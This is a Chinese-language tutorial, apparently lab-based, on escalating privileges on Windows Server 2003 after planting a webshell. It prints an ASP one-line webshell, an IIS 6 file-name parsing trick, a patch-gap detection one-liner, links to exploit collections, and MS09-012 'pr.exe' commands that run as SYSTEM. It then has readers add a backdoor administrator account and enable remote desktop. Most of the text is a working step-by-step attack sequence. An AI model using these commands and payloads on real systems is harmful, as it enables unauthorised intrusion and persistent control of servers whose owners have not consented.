Windows 提权方法与步骤
以windows server 2003为例
一、前提
提权的前提条件是拿到服务器的webshell,可通过sql注⼊、⽂件上传、命令执⾏、反序列化等⽅式把 ⼀句话⽊⻢写⼊到⽬标⽹站中。
以iis6.0的中间件解析漏洞为例(test.asp;.jpg)
最普通的⼀句话⽊⻢(asp的⽊⻢):
<%eval request("test")%>
拿到webshell之后,使⽤菜⼑,蚁剑,冰蝎或者哥斯拉连接上服务器。使用菜刀连接:
http://192.168.194.111/test.asp;.jpg,连接密码是:test
连接上之后可向服务器目录上传文件,可以使用终端命令进行连接。
但是,⿏标右键打开虚拟终端,尝试输⼊命令,whoami,dir,此时运⾏命令显⽰:拒绝访问(没有权限)。
原因:菜⼑调⽤的是⽬标服务器系统的cmd.exe,此cmd.exe程序没有iuser权限(从⽹站进去服务器
时,当前⾝份是来宾⽤⼾并没有权限去调⽤系统的CMD.exe)
那么这时候怎么办?
思路:⽬前我们是有拿到webshell的,那么说明该站点根⽬录是具有可读写的权限,此时我们可以通 过菜⼑上传⼀个脚本去检测⽹站⽬录的权限(使⽤脚本666.asp检测⽬录权限)
1, 先找到⽹站下⾯具有读写权限的⽬录。
2,上传成功之后,通过浏览器访问此脚本
3,直接在检测框中输⼊⽬标服务器的根⽬录(⽐如:C盘)
咱们随便选择⼀个可读写的目录
1,根据对⽅的操作系统版本,找到对应的操作系统版本中的cmd.exe的程序。(注意上传的cmd.exe
程序的版本和型号:如果对⽅是Windows2003操作系统,那么我们可以在本地虚拟机搭建
Windows2003的机器,下载⾥⾯的cmd.exe程序,通过菜⼑上传到对⽅服务器站点)
即可:c\wmpub\2,使⽤setp命令以绝对路径的⽅式去调⽤我们上传的cmd.exe程序。
setp c:\wmpub\cmd.exe
原理:我们⾃⼰上传的cmd.exe程序,是通过⽹站上传的,他具备iuser(来宾⽤⼾)权限,所以我
们可以直接通过它以来宾⽤⼾的⾝份来调⽤操作系统的命令。
3,能够执⾏命令之后:尝试添加⽤⼾。
net user 1234 1234 /add
显⽰:拒绝访问
说明⽬前我们的权限还不是管理员,所以还需要进⼀步提升权限
4,⾸先查看对⽅服务器打了哪些补丁:systeminfo
使⽤systeminfo执⾏检测未打补丁的命令来进⾏补丁检测:
systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511
KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141
KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a
micropoor.txt
将会得到运行结果:
KB977165 you can fuck
KB2160329 you can fuck
KB2503665 you can fuck
KB2592799 you can fuck
KB2707511 you can fuck
KB2829361 you can fuck
KB2850851 you can fuck
KB3000061 you can fuck
KB3045171 you can fuck
KB3077657 you can fuck
KB3079904 you can fuck
KB3134228 you can fuck
KB3143141 you can fuck
KB3141780 you can fuck
KB2160329 you can fuck
KB2503665 you can fuck
KB2592799 you can fuck
KB2707511 you can fuck
KB2829361 you can fuck
KB2850851 you can fuck
KB3000061 you can fuck
KB3045171 you can fuck
KB3077657 you can fuck
KB3079904 you can fuck
KB3134228 you can fuck
KB3143141 you can fuck
KB3141780 you can fuck
5,根据这些补丁编号,去公开的⽹站搜索EXP(百度,CSDN,github等),复现提权
已对外公开的EXP⽹址:
https://blog.csdn.net/weixin_39580041/article/details/117720324
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
--------------------------------------------------------------------
此次实验⽬标操作系统是2003 server所以选择最经典的MS09-012(巴西烤⾁)来进⾏提权
漏洞利⽤:
巴西烤⾁:也称之为Microsoft Windows RPCSS服务隔离本地权限提升漏洞。
漏洞原理:
RPCSS服务没有正确地隔离NetworkService或LocalService帐号下运⾏的进程,本地攻击者可以利⽤ 令牌劫持的⽅式获得权限提升。成功利⽤此漏洞的攻击者可以完全控制受影响的系统,攻击者可随后 安装程序;查看、更改或删除数据;或者创建拥有完全⽤⼾权限的新帐⼾。
具体利⽤步骤:
1,通过菜⼑上传pr.exe
2,菜⼑命令⾏先切换到上传程序所在的⽬录,然后调⽤pr.exe,后⾯接双引号(注意双引号为英⽂状 态下的)双引号中加上需要执⾏的命令,例如pr.exe "whoami"。
此时可以看到我们的⾝份是system(SYSTEM的中⽂意思是系统,在Windows中拥有⽐管理员更⼤的 权限)说明我们已经提权成功了!
3,验证是否为管理员权限,我们只需要添加⼀个账号即可。因为添加账号是需要管理员权限才能进⾏的。pr.exe "net user 1234 1234 /add"
4,将添加的1234账⼾加⼊到管理员组。
pr.exe "net localgroup administrators 1234 /add"
5,开启⽬标机器3389远程连接,可直接使⽤我们创建的1234⽤⼾去远程连接。此时1234⽤⼾已经是 管理员权限,也就意味着我们能在⽬标服务器上⾯做很多事情了!
开启3389⽅法:直接菜⼑上传脚本3389.exe,然后通过pr.exe去调⽤,即可⼀键开启3389!
pr.exe命令去调⽤(不要忘记加上"”)
此时,使⽤创建的1234⽤⼾,在我们⾃⼰的主机上利⽤远程连接,输⼊1234账号和密码即可远程连接 上⽬标服务器了!⽽且因为之前我们将1234⽤⼾加⼊了管理员组,拥有管理员权限,所以可以利⽤远程连接在⽬标服务器上做很多事情!
内⽹渗透中关于远程桌⾯的技巧:https://mp.weixin.qq.com/s/4tet9Ux0_ZDtP9JFIFdzgw
本地主机打开远程桌⾯连接,输⼊⽬标服务器ip地址,点击连接。
